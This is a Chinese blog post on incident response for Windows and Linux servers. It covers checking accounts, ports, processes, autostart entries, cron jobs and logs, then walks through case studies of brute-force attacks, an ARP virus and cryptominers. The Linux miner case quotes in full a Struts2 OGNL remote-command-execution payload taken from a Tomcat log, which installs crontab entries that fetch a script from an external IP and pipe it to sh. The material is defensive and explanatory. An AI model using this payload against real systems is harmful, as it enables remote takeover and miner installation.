应急响应总结

ooolllddd 9606 字 发布于 2026-02-01


写这篇文章的时候主播的博客突然打不开,无限重定向了,清除了网站cookie,排查了一番发现是cf的问题

Flexible 模式下,用户到 CF 是 HTTPS,但 CF 到你的服务器是 HTTP。如果你的 WordPress 设置了强制 HTTPS(或者安装了 Really Simple SSL 插件),就会导致 "CF (HTTP) -> WP (重定向 HTTPS) -> CF (HTTP)" 的死循环。

改为改为 Full (Strict) 或 Full 就行了

现在步入正题:

Windows

对win的应急响应大概有以下几个步骤,之后会有详细的实例给大家讲解

一、账号安全

1.正常用户      net user  
2.隐藏用户      能看到 $结尾,net user 
3.影子用户      只有注册表中能看到B. windows自带账户看不到,但是在控制面板、lusrmgr.msc 、用户组中能看到 

相关分类如下:

  • Administrator(管理员):这是具有完全控制和访问权限的管理员账户。默认处于禁用状态。
  • DefaultAccount(默认账户):这是Windows 10中的一个预配置账户,用于应用程序容器和系统组件的身份验证。它主要用于提供安全性和隔离性。
  • Guest(访客):该账户提供了一个受限制的用户环境,允许临时用户使用计算机但不能进行敏感操作或更改系统设置。通常情况下,默认情况下此账户处于禁用状态。
  • WDAGUtilityAccount:这是Windows Defender Application Guard (WDAG) 实用程序账户。WDAG是一种安全功能,可在 Microsoft Edge 浏览器中隔离和保护来自不受信任来源的网站和文件。

对于账户来说,排查思路如下:

1. 查看服务器是否存在可疑账号、新增账号打开 lusrmgr.msc,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)新增账户,需立即禁用或删除掉

2. 查看服务器是否存在隐藏账号、影子账号。打开 lusrmgr.msc,在用户中查看是否有 $ 结尾的用户

net localgroup administrators

查看administrators用户组中是否有$结尾的用户

3.打开注册表(regedit),看看以下路径

hkey_local_machine\sam\sam\domains\account\users

D盾也可以解决:

二、异常端口与进程

1. 检查端口连接情况,是否有远程连接、可疑连接

netstat -ano

0.0.0.0:135 解释:我开了135端口,所有人都能连接我

127.0.0.1:80 解释:我开了80端口,但是只有我自己能连自己,别人连不了外部地址

0.0.0.0:0 解释:我谁也没连

34.117.65.55:443 解释:我连接了34.117.65.55 的 443 端口,可能是访问了网站

netstat -anob

查看目前的网络连接和进程所属文件(仅管理员可运行)

也可以netstat -ano查看PID后,用tasklist定位

tasklist | findstr "PID"
taskkill /f /pid PID

之后就是任务管理器查看进程了

2、或者D盾查看无签名的进程:

3、通过微软官方提供的 Process Explorer 等工具进行排查(偷的图嘻嘻)

重点关注:

没有签名验证信息的进程 没有描述信息的进程 进程的属主 进程的路径是否合法 CPU或内存资源占用长时间过高的进程

三、启动项

A. 注册表(Registry,繁体中文版Windows操作系统称之为登录档案)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。

B. 用户自启动项用户自启动项 (开机自启动,黑客很多时候会把病毒文件设置开机自启)

相关路径如下:

HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runoncefcmit.cc

C. 镜像劫持(打开IE,结果变成打开木马)

hkey_local_machine\software\microsoft\windows nt\currentversion\image file execution options

四、计划任务检查方法

单击【控制面板】->【系统和安全】->【管理工具】->【任务计划】,查看计划任务属性,可以发现木马文件的路径

五、异常服务

services.msc,注意服务状态和启动类型,检查是否有异常服务命令:

六、检查系统相关信息

1. 查看系统版本以及补丁信息检查方法:在cmd.exe中,输入 systeminfo,查看系统信息

2. 查看可疑目录及文件信息

检查方法:

  • 单击【开始】>【运行】,输入 %UserProfile%\Recent,分析最近打开的可疑文件
  • 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件
  • 检查 C:\Windows\Temp 目录
  • 杀毒软件全盘扫描

Linux

其实也和win的大同小异,排查的点也是那几个,无非是命令和位置不一样

一、账号安全:

1.用户信息文件:/etc/passwd

account:password:UID:GID:GECOS:directory:shell

root:x:0:0:root:/root:/bin/bash

用户名:密码(x代表密码占位符,表示该密码在/etc/shadow中):用户ID:组ID:用户说明:家目录:登陆之的shell

排查思路是否存在可疑用户,是否存在除root外其他uid=0的用户

以下命令就可以:

awk -F: '$3 == 0 {print $1}' /etc/passwd
grep '^.*:x:0:' /etc/passwd | cut -d: -f1

关于后面的其它常见shell:

  1. /etc/passwd 任何用户都能查看,但仅有 root 用户可以更改
  2. /usr/sbin/nologin 代表用户无法通过系统登录界面及ssh远程终端登陆,也无法通过su命令进行用户切换
  3. 除root用户家目录在/root目录外,其他可登陆普通用户家目录在 /home/用户名 ,特殊的无法登陆用户,如apache服务用户www-data,家目录在 /var/www
  4. /bin/zsh 、/bin/bash 、 /bin/sh 都是常见的登陆shell,当然也会见到带/usr前缀的目录,例如 /usr/bin/bash

2.用户影子文件:/etc/shadow

只有root用户才能查看:sudo cat /etc/sahdow

root:$6$JNlByqtvBvk0qoo0$K5jqUDhnnq6b.WhUk3ENwNjm8kLykf1LV20bJibX9rV1dPDQd8m8wJAWrTLs.OOuH0gV/PH6kgTLo/7YKghXu1::0:99999:7:::

含义如下:

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

排查步骤和命令:

1、查询特权用户特权用户(uid 为0)

awk -F: '$3==0{print $1}' /etc/passwd

2、除root帐号外,是否有其他未知帐号存在sudo权限 :

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL"

3、禁用或删除多余及可疑的帐号

3.1禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头

usermod -L user 

3.2删除user用户

userdel user

3.3将删除user用户,并且将/home目录下的user目录一并删除

userdel -r user

4、常见命令

4.1查看当前登录用户(tty本地登陆 pts远程登录)

who

4.2显示当前登录的所有用户,以及他们正在执行的进程(JCPU/PCPU)和当前系统的负载。

w

4.3查看登陆多久、多少用户,负载

uptime

二、历史命令

Linux系统里,执行过命令的用户会在自己的家目录下,生成相应的历史命令记录文件如.bash_history、.zsh_history 、.sh_history打开各帐号目录下的 .bash_history 、.zsh_history,查看帐号的历史命令

cat /root/.*_history | more

cat /home/*/.*_history | more

主要分析是否有账户执行过恶意操作当安全事件发生的时候,就可以通过查看每个用户所执行过的命令,来分析该用户是否有执行恶意命令,

如果发现哪个用户执行过恶意命令,那么我们就可以锁定这个线索,去做下一步的排查

三、异常端口与进程:

异常端口与进程使用 netstat 网络连接命令,查看服务器是否有未被授权的端口被监听,分析可疑端口、IP、PID检查服务器是否存在恶意进程,恶意进程往往会开启监听端口,与外部控制机器进行连接

相关解释如下:

Proto: 表示网络协议,如 TCP  UDP。

Recv-Q: 表示接收队列中的数据包数量,Send-Q: 表示发送队列中的数据包数量。

Local Address: 表示本地地址(IP 地址和端口号),格式为 "IP 地址:端口号"

127.0.0.1 代表端口只监听在本地,其他机器无法连接。

192.168.80.129 代表端口只监听在 192.168.80.129 IP (eth0 网卡) 上,只有能访问到 192.168.80.129 的机器(如 192.168.80.x 网段下的其他局域网计算机)才能访问。

0.0.0.0 代表端口监听在所有的接口 IP 上,表明所有 IPv4 地址计算机均可访问(当然前提是目标能连通该计算机)。

::: 等价于 0.0.0.0,它是 IPv6 地址。

Foreign Address: 表示远程地址(IP 地址和端口号),格式同样为 "IP 地址:端口号"

如果以 "-"  "::*" 开头,则表示没有远程地址(即尚未建立或已断开连接)。

State: 表示连接状态,通常包括已建立(ESTABLISHED)、监听(LISTEN)、等待(WAIT)、关闭等。

PID/Program name: 表示与网络连接相关联的进程的 ID 和名称。有些时候可能显示进程的 ID 而不显示进程的名称。

排查思路发现可疑IP,上报或检测威胁情报 , 确认后停止进程 kill -9 PID发现可以连接进程

ls -l /proc/PID/exe 

file /proc/PID/exe 

查看进程具体运行的文件路径 ,如果发现是病毒文件,及时上报并进行留存与删除。

查看异常进程:

ps

相关解释如下:

USER: 表示进程所属的用户。

PID: 表示进程的 ID(即进程号)。

%CPU: 表示进程使用的 CPU 资源百分比。

%MEM: 表示进程使用的内存资源百分比。

VSZ: 表示进程的虚拟内存大小(以 KB 为单位)。

RSS: 表示进程的实际内存大小(以 KB 为单位)。

TTY: 表示进程关联的 TTY 设备。

STAT: 表示进程的状态,通常包括运行 (R)、睡眠 (S)、停止 (T)、僵死 (Z) 等。

START: 表示进程的启动时间。

TIME: 表示进程的累计 CPU 占用时间。

COMMAND: 表示进程的命令名称和参数。

显示系统中各个进程的资源占用状况,包括 CPU 使用率、内存占用、系统负载等信息:

top

q 即可退出。

运行以上命令,如果发现有名称不断变化的非授权进程占用大量系统 CPU 或内存资源时,则可能为恶意程序。

确认该进程为恶意进程后,可以使用 kill -9 进程PID 命令结束,或使用防火墙限制进程外联。

四:开机启动项

添加服务为开机自启动:

update-rc.d ssh enable

关闭服务开机自启动:

update-rc.d ssh disable

查找所有文件名中包含 "rc" 字符串的文件或目录,并以详细列表的形式显示出来。

ls -l /etc/ |grep rc

在UNIX和UNIX-like操作系统中,/etc/rc是一个目录,用于存放系统启动过程中需要执行的脚本文件。其中包含了一些不同级别的文件夹,每个文件夹代表了不同的运行级别 (runlevel) 或者系统状态。以下是通常在 /etc/rc 目录中找到的文件夹:

rc0.d: 用于关机时的脚本。例如,关闭各个服务、卸载文件系统等。

rc1.d: 单用户模式时所执行的脚本。也叫进入恢复模式,用于修复系统问题。

rc2.d: 多用户文本模式下运行的脚本。该级别下一般不含图形界面。

rc3.d: 完全的多用户文本模式下运行的脚本。

rc4.d: 未使用,可以根据需求自定义。

rc5.d: 多用户图形模式下运行的脚本。系统启动后,会进入图形用户界面桌面环境。

rc6.d: 用于重新启动时执行的脚本。例如,启动一些必备服务。

rcS.d: 目录中的脚本文件在系统启动进入单用户模式时自动运行,用于配置系统的初始化任务和适应单用户环境所需的必要设置。

在每个运行级别文件夹中,以特定的顺序执行脚本文件。文件名以字母"K"或"S"开头,加上两位数字。以"S"开头的脚本用于启动服务,而以"K"开头的脚本用于停止服务。这些脚本文件会在系统启动和关机过程中自动运行,并根据各个级别的需求来启动或停止相应的服务。

示例命令: ls -l /etc/rc*.d

默认情况下, update-rc.d ssh enable将SSH服务添加到运行级别为2、3、4和5的文件夹中,也就是 在/etc/rc2.d、 /etc/rc3.d、 /etc/rc4.d和/etc/rc5.d目录中创建符号链接,链接到与SSH服务相关的启动 脚本。这些目录代表多用户文本模式和多用户图形模式的运行级别,作用是在系统启动时自动启动SSH 服务,并在运行级别切换时自动重新启动。

入侵排查:

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

五、定时任务

基本命令:

crontab -l 

列出某个用户cron服务的详细内容

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root)

crontab -r

删除每个用户cront任务(谨慎:删除所有的计划任务)

crontab -e

使用编辑器编辑当前的crontab文件进入 cron 文件目录,查看是否存在非法定时任务脚本

重点关注以下目录中是否存在恶意脚本:

/var/spool/cron/*  
/var/spool/cron/crontabs/* 
/etc/crontab /etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/* 
/etc/cron.weekly/*

如果发现有不认识的计划任务,可以定位脚本确认是否是正常业务脚本如果是非正常业务脚本,直接注释掉任务内容或删除脚本

六、 第三方软件漏洞

及时升级修复应用程序漏洞

检查说明:机器被入侵,部分原因是系统使用的应用程序软件版本较老,存在较多的漏洞没有修

复,导致可以被利用

解决方法:用户可以通过软件官方发布的安全通告,通过yum、 apt 等方式进行直接升级修复

apt update
apt upgrade ssh (!这个命令慎用,一般不需要更新软件,且更新软件相关依赖也会同步更新,可能导致系统错误)

七、检查异常文件

1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?可以使用find命令来查找,如

find /opt -iname "*" -atime 1 -type f

找出 /opt 下一天前访问过的文件

八、检查日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.con

其它位置存放:

/var/log/cron	记录了系统定时任务相关的日志。
/var/log/cups	记录打印信息的日志。
/var/log/dmesg	记录系统在开机时内核自检的信息。
/var/log/mailog	记录邮件信息。
/var/log/message	记录系统绝大多数重要信息的日志。
/var/log/btmp	记录错误登录日志,是二进制文件,需使用 lastb 命令查看。
/var/log/lastlog	记录所有用户最后一次登录时间的日志,需使用 lastlog 命令查看。
/var/log/wtmp	永久记录所有用户的登录、注销信息,需使用 last 命令查看。
/var/log/utmp	记录当前已经登录的用户信息,需使用 w, who, users 命令查看。
/var/log/secure	记录验证和授权方面的信息,如 SSH 登录、sudo 授权等。

大致步骤就是上面这些了,我们用几个实例来演示一下:

Win实战

FTP暴力破解

网站响应速度变得缓慢,网站服务器登录上去非常卡,重启服务器就能保证一段时间的正常访问,网站响应状态时而飞快时而缓慢,多数时间是缓慢的。针对网站服务器异常,系统日志和网站日志,是我们排查处理的重点。查看Window安全日志,发现大量的登录失败记录:

安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么。

打开安全日志,在右边点击筛选当前日志, 在事件ID填入4625,查询到事件ID4625,事件数177007,从这个数据可以看出,服务器正则遭受暴力破解:

进一步使用Log Parser对日志提取数据分析,发现攻击者使用了大量的用户名进行爆破,例如用户名:fxxx,共计进行了17826次口令尝试,攻击者基于“fxxx”这样一个域名信息,构造了一系列的用户名字典进行有针对性进行爆破,如下图:

这里我们留意到登录类型为8,来了解一下登录类型8是什么意思呢?

登录类型8:网络明文(NetworkCleartext) 

这种登录表明这是一个像类型3一样的网络登录,但是这种登录的密码在网络上是通过明文传输的,WindowsServer服务是不允许通过明文验证连接到共享文件夹或打印机的,据我所知只有当从一个使用Advapi的ASP脚本登录或者一个用户使用基本验证方式登录IIS才会是这种登录类型。“登录过程”栏都将列出Advapi。

我们推测可能是FTP服务,通过查看端口服务及管理员访谈,确认服务器确实对公网开放了FTP服务。

另外,日志并未记录暴力破解的IP地址,我们可以使用Wireshark对捕获到的流量进行分析,获取到正在进行爆破的IP:

通过对近段时间的管理员登录日志进行分析,如下:

管理员登录正常,并未发现异常登录时间和异常登录ip,这里的登录类型10,代表远程管理桌面登录。

另外,通过查看FTP站点,发现只有一个测试文件,与站点目录并不在同一个目录下面,进一步验证了FTP暴力破解并未成功。

应急处理措施:1、关闭外网FTP端口映射 2、删除本地服务器FTP测试

ARP病毒

ARP病毒并不是某一种病毒的名称,而是对利用arp协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为常见。发作的时候会向全网发送伪造的ARP数据包,严重干扰全网的正常运行,其危害甚至比一些蠕虫病毒还要严重得多。

登录服务器,首先查看137端口对应的进程,进程ID为4对应的进程是SYSTEM,于是使用杀毒软件进行全盘查杀。

卡巴斯基绿色版:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe

卡巴斯基、360杀毒、McAfee查杀无果,手工将启动项、计划任务、服务项都翻了一遍,并未发现异常。 本地下载了IpTool抓包工具,筛选条件: 协议 UDP 端口 137

可以明显的看出192.168.64.76发送的数据包是异常的,192.168.64.76的数据包目的地址,一直在变,目的MAC是不变的,而这个MAC地址就是网关的MAC。

端口137的udp包是netbios的广播包,猜测:可能是ARP病毒,由本机对外的ARP攻击。

采用措施:通过借助一些安全软件来实现局域网ARP检测及防御功能。

服务器安全狗Windows版下载:http://free.safedog.cn/server_safedog.html

网络防火墙--攻击防护--ARP防火墙:

虽然有拦截了部分ARP请求,但流量出口还是有一些137 UDF的数据包。

看来还是得下狠招,关闭137端口:禁用TCP/IP上的NetBIOS。

1)、禁用Server服务

2)、禁用 TCP/IP 上的 NetBIOS

设置完,不用重启即可生效,137端口关闭,观察了一会,对外发起的请求已消失,CPU和网络带宽恢复正常。

挖矿病毒

随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。

某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重。

登录网站服务器进行排查,发现多个异常进程:

分析进程参数:

wmic process get caption,commandline /value >> tmp.txt

在windows下查看某个运行程序(或进程)的命令行参数
使用下面的命令:
wmic process get caption,commandline /value
如果想查询某一个进程的命令行参数,使用下列方式:
wmic process where caption=”svchost.exe” get caption,commandline /value
这样就可以得到进程的可执行文件位置等信息。

访问该链接:

Temp目录下发现Carbon、run.bat挖矿程序:

具体技术分析细节详见:

360CERT:利用WebLogic漏洞挖矿事件分析

清除挖矿病毒:关闭异常进程、删除c盘temp目录下挖矿程序 。

临时防护方案

  1. 根据实际环境路径,删除WebLogic程序下列war包及目录rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.warrm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.warrm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
  2. 重启WebLogic或系统后,确认以下链接访问是否为404

Linux实战

SSH暴力破解

SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。SSH口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。

某天,网站管理员登录服务器进行巡检时,发现端口连接里存在两条可疑的连接记录,如下图:

  1. TCP初始化连接三次握手吧:发SYN包,然后返回SYN/ACK包,再发ACK包,连接正式建立。但是这里有点出入,当请求者收到SYS/ACK包后,就开始建立连接了,而被请求者第三次握手结束后才建立连接。
  2. 客户端TCP状态迁移: CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED服务器TCP状态迁移: CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED
  3. 当客户端开始连接时,服务器还处于LISTENING,客户端发一个SYN包后,服务端接收到了客户端的SYN并且发送了ACK时,服务器处于SYN_RECV状态,然后并没有再次收到客户端的ACK进入ESTABLISHED状态,一直停留在SYN_RECV状态。在这里,SSH(22)端口,两条外网IP的SYN_RECV状态连接,直觉告诉了管理员,这里一定有什么异常。

SSH端口异常,我们首先有必要先来了解一下系统账号情况:

A、系统账号情况

1、除root之外,是否还有其它特权用户(uid 为0)

[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
root

2、可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::

我们可以确认目前系统只有一个管理用户root。

接下来,我们想到的是/var/log/secure,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录下来。

B、确认攻击情况:

1、统计了下日志,发现大约有126254次登录失败的记录,确认服务器遭受暴力破解
[root@localhost ~]# grep -o "Failed password" /var/log/secure|uniq -c
     126254 Failed password

2、输出登录爆破的第一行和最后一行,确认爆破时间范围

[root@localhost ~]# grep "Failed password" /var/log/secure|head -1
Jul  8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2
[root@localhost ~]# grep "Failed password" /var/log/secure|tail -1
Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2

3、进一步定位有哪些IP在爆破?

[root@localhost ~]# grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr 
    12622 23.91.xxx.xxx
     8942 114.104.xxx.xxx
     8122 111.13.xxx.xxx
     7525 123.59.xxx.xxx
     ...................


4、爆破用户名字典都有哪些?

[root@localhost ~]# grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
      9402  root
      3265  invalid user oracle
      1245  invalid user admin
      1025  invalid user user
      .....................

C、管理员最近登录情况:

1、登录成功的日期、用户名、IP:
通过登录日志分析,并未发现异常登录时间和登录IP。
[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 
Jul 9 09:38:09 root 192.168.143.100
Jul 9 14:55:51 root 192.168.143.100
Jul 10 08:54:26 root 192.168.143.100
Jul 10 16:25:59 root 192.168.143.100
............................

2、顺便统计一下登录成功的IP有哪些:

[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
     27 192.168.204.1

通过日志分析,发现攻击者使用了大量的用户名进行暴力破解,但从近段时间的系统管理员登录记录来看,并未发现异常登录的情况,需要进一步对网站服务器进行入侵排查,这里就不再阐述。

措施:

1、禁止向公网开放管理端口,若必须开放应限定管理IP地址并加强口令安全审计(口令长度不低于8位,由数字、大小写字母、特殊字符等至少两种以上组合构成)。
2、更改服务器ssh默认端口。
3、部署入侵检测设备,增强安全防护。

挖矿病毒

随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞(如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞、Struts2远程命令执行等),导致大量服务器被感染挖矿程序的现象 。

某天,安全管理员在登录安全设备巡检时,发现某台网站服务器持续向境外IP发起连接,下载病毒源:

登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 :

下载logo.jpg,包含脚本内容如下:

到这里,我们可以发现攻击者下载logo.jpg并执行了里面了shell脚本,那这个脚本是如何启动的呢?

通过排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了恶意脚本,每隔一段时间发起请求下载病毒源,并执行 。

在Tomcat log日志中,我们找到这样一条记录:

对日志中攻击源码进行摘录如下:

`{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} `

可以发现攻击代码中的操作与定时任务中异常脚本一致,据此推断黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行

1、删除定时任务:

2、终止异常进程:

此作者没有提供个人介绍。
最后更新于 2026-03-12